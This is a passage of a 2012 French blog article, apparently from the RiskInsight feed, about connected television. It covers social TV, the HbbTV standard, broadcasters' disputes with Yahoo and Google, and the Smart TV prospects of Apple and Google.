<p>Pourtant, nous avons pu le constater pendant la dernière campagne présidentielle, le débat dépasse aujourd’hui le cadre du petit écran, certains personnages politiques commentant par exemple sur les réseaux Twitter les émissions en cours de diffusion. Il devient alors tout à fait pertinent, pour une expérience plus complète, de pouvoir accéder en direct sur le même écran, à la fois au programme diffusé et aux commentaires associés provenant de la twittosphère.</p>
<p>Il existe en France des expérimentations concrètes et avancées de télévision connectée. On peut ainsi citer l’émission C DANS L’AIR (France 5) qui se vante d’être la « <a href="http://www.france5.fr/c-dans-l-air/content/c-dans-l-air-sur-votre-television-connectee" target="_blank">première émission européenne en direct enrichie par la télévision connectée </a>» : une application dédiée permet d’enrichir l’expérience du téléspectateur en lui apportant à la fois des informations complémentaires sur le programme qu’il est en train de regarder (en savoir plus sur le thème de l’émission du jour, découvrir les biographies des invités, retrouver les livres associés à l’émission) mais aussi et surtout la possibilité d’interagir avec les invités présents sur le plateau (participer à la « Question du jour » et accéder aux résultats des votes des téléspectateurs en temps réel, poser ses questions en direct au présentateur et à ses invités).</p>
<h2><strong>Face à Google et yahoo, la contre-attaque des diffuseurs</strong></h2>
<p>La télévision connectée est rendue possible grâce à l’utilisation du standard européen <em>Hybrid Broadcast Broadband TV</em> rédigé par un consortium regroupant à la fois des constructeurs (Philips, Samsung, Sony, LG…) et des diffuseurs (France télévisions, Canal +…). Ce sont ces derniers qui sont d’ailleurs à l’initiative de ce standard afin d’essayer de conserver une maîtrise des flux diffusés. En 2010, TF1 avait fait pression sur Samsung pour que celui-ci n’embarque pas sur ses téléviseurs les <em>widgets </em>en surimpression de Yahoo! Connected TV, arguant que ceux-ci portaient « atteinte à l&rsquo;intégrité de son signal télé ».</p>
<p>Ce standard permet à un diffuseur d’enrichir ses programmes par des contenus passifs (mode <em>broadcast</em> pour les télévisions non connectées) – à l’image de l’ancien télétexte &#8211; ou interactifs (mode <em>broadband</em> pour les télévisions connectées) et utilise des technologies non propriétaires pour supporter ces applications (XHTML, CSS, JavaScript …).</p>
<h2>La<strong> smart TV de demain </strong></h2>
<p>Si tous les acteurs du marché se sont mis à la télévision connectée c’est que, après la révolution “Smartphone”, ils espèrent celle de la télévision qui deviendra pour les entreprises un nouveau canal, présent dans tous les foyers, pour toucher leurs cibles. Par analogie, on parle d’ailleurs de « <a href="http://en.wikipedia.org/wiki/Smart_TV" target="_blank">Smart TV</a> ».</p>
<p>La prochaine grande étape après la généralisation des terminaux connectés va être la généralisation de la télévision hybride, c’est-à-dire l’intégration de contenus ou d’applications en synchronisation avec les programmes regardés par l’utilisateur (qu’ils soient diffusés ou <em>on-demand</em>) : publicités ciblées en fonction du programme et du profil des téléspectateurs du foyer, opportunité de pouvoir commander le livre, la musique, le produit utilisé par un personnage dans une série ou présenté durant une émission, pouvoir parier sur un match diffusé en direct, dialogue entre internautes-spectateurs (concept de TV sociale) …</p>
<p>Mais demain, la télévision connectée, cela sera aussi l’intégration de technologies telles que la reconnaissance faciale (permettant d’identifier les personnes présentes devant l’écran), la gestion des identités des téléspectateurs et la personnalisation associée, les contenus multi-sources, la synchronisation de contenus avec le flux vidéo, les applications multi-terminaux…</p>
<p><strong> </strong>Comme pour les <em>smartphones</em>, s’il est possible de se baser sur des standards internet pour certains usages, à l’image de ce qui est proposé par le consortium HbbTV, en revanche l’intégration avec le matériel (caméra, microphone, etc&#8230;) nécessitera le développement d’applications natives et donc l’émergence de plates-formes standards.</p>
<h2> <strong>Google, future plate-forme des applications smart TV ?</strong></h2>
<p>Les  <a href="http://www.apple.com/fr/appletv/" target="_blank">Apple</a><a href="http://www.apple.com/fr/appletv/" target="_blank">TV</a>, <a href="http://www.google.com/tv/" target="_blank">GoogleTV</a> ont probablement raté le coche de l’innovation car les services qu’ils proposent, généralement sous la forme d’une <em>Over the Top Box</em> (un boîtier supplémentaire) sont déjà proposés pour partie par d’autres constructeurs depuis bien longtemps.</p>
<p>Mais là où Apple risque de ne pouvoir cibler que ses clients, prisonniers de son monde clos en mettant en valeur l’intégration avec les autres produits de la gamme, Google peut se prévaloir de quelques atouts :</p>
<ul>
<li>sa plate-forme Android, déjà largement utilisée par les constructeurs de mobiles, peut devenir une plate-forme standard <em>de </em><em>facto</em> ;</li>
<li>sa compétence dans le domaine des moteurs de recherche : face à cet océan de contenus accessibles, le téléspectateur aura besoin d’outils performants pour trouver ceux correspondant à ses centres d’intérêts récurrents ou immédiats ;</li>
<li>sa régie publicitaire pour pouvoir cibler au mieux les annonces, notamment en synchronisation avec les programmes regardés.</li>
</ul>
<p>Si la télévision a pu être un temps désuète face aux autres terminaux d’accès (ordinateurs, tablettes, téléphones …) elle est en passe de retrouver sa place au centre des foyers, en se modernisant et en proposant des services à valeur ajoutée. Le marché subit depuis quelques années de fortes tensions de la part des différents acteurs (diffuseurs, constructeurs, fournisseurs de contenus….), ce qui ralentit l’avancée de la télévision connectée. Mais la marche est inexorable et pleine de promesses !</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/07/la-tele-connectee-fiction-ou-realite/">La télé connectée, fiction ou réalité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
